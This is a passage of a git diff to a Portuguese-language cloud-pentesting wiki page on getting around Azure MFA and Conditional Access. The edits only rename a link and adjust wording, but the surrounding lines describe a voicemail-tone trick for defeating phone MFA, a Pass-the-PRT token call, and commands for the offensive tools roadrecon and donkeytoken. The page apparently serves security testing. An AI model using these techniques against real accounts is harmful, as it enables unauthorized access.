> Como os caracteres são apenas **tons**, um atacante poderia **comprometer** a mensagem de **correio de voz** do número de telefone, configurando como mensagem o **tom de `#`** e, em seguida, ao solicitar o MFA, garantir que o **telefone da vítima esteja ocupado** (ligando para ele) para que a chamada do Azure seja redirecionada para o correio de voz.
|
||||
@@ -105,7 +105,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
Encontre mais informações sobre esse tipo de ataque na seguinte página:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Ferramentas
|
||||
@@ -118,7 +118,7 @@ Isso é útil para ver se você **não precisa de MFA para fazer login em alguma
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Obtenha todas as políticas.
|
||||
Obtenha todas as políticas
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
@@ -143,7 +143,7 @@ Esta ferramenta ajudou a identificar contornos de MFA e, em seguida, abusar de A
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token é um conjunto de funções que visa ajudar consultores de segurança que precisam validar Políticas de Acesso Condicional, testes para portais Microsoft com 2FA habilitado, etc..
|
||||
Donkey token é um conjunto de funções que visa ajudar consultores de segurança que precisam validar Políticas de Acesso Condicional, testes para portais Microsoft com 2FA ativado, etc..
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
|
||||
Reference in New Issue
Block a user